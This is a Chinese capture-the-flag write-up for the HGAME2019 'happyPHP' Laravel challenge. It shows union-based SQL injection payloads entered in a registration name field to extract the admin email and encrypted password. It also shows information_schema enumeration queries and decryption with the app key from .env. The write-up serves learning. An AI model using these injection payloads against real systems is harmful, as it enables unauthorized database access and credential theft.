HGAME2019 WEB happyPHP

虽然比赛已经结束了,但是不会的题目还是要及时学习的,题目直接给出了提示是使用Laravel框架进行编写的,刚开始接触这道题目的时候,一直在百度Laravel框架的漏洞,甚至没有去尝试用户注册和登陆也就没有得到源码了。。。
f12查看元素
在这里插入图片描述
得到作者在github上留下的源码,在SessionsController.php中得到关键的注入语句
在这里插入图片描述
尝试在登陆界面进行注入获取admin的邮箱,payload:name=qwert12345' union select email from 'users' where 'name'='admin,密码邮箱随意,完成注册后登陆,得到admin的邮箱:admin@hgame.com(注意符号)。同理修改payload为name=qwert12345' union select password from 'users' where 'name'='admin,密码邮箱随意,得到password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==
ps:如果一开始就使用最原始的union查询语句也是可以的,-1‘union select database()#获得数据库名为hgame-1’union select table_name from information_schema where table_schema=database()#获得表名为users-1‘union select column_name from inforamtion_schema.columns where table_name='users'获得列名的前三项分别为id,emailpassword,以id=1进行邮箱和密码查询也可以得到相同的结果。
在这里插入图片描述
但此时使用上述的邮箱密码进行登陆时并不能成功。看了wp之后才知道在config当中对密码进行了AES-256-CBC,key存在于.env文件当中,解密后得到密码password:9pqfPIer0Ir9UUfR,登陆后得到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值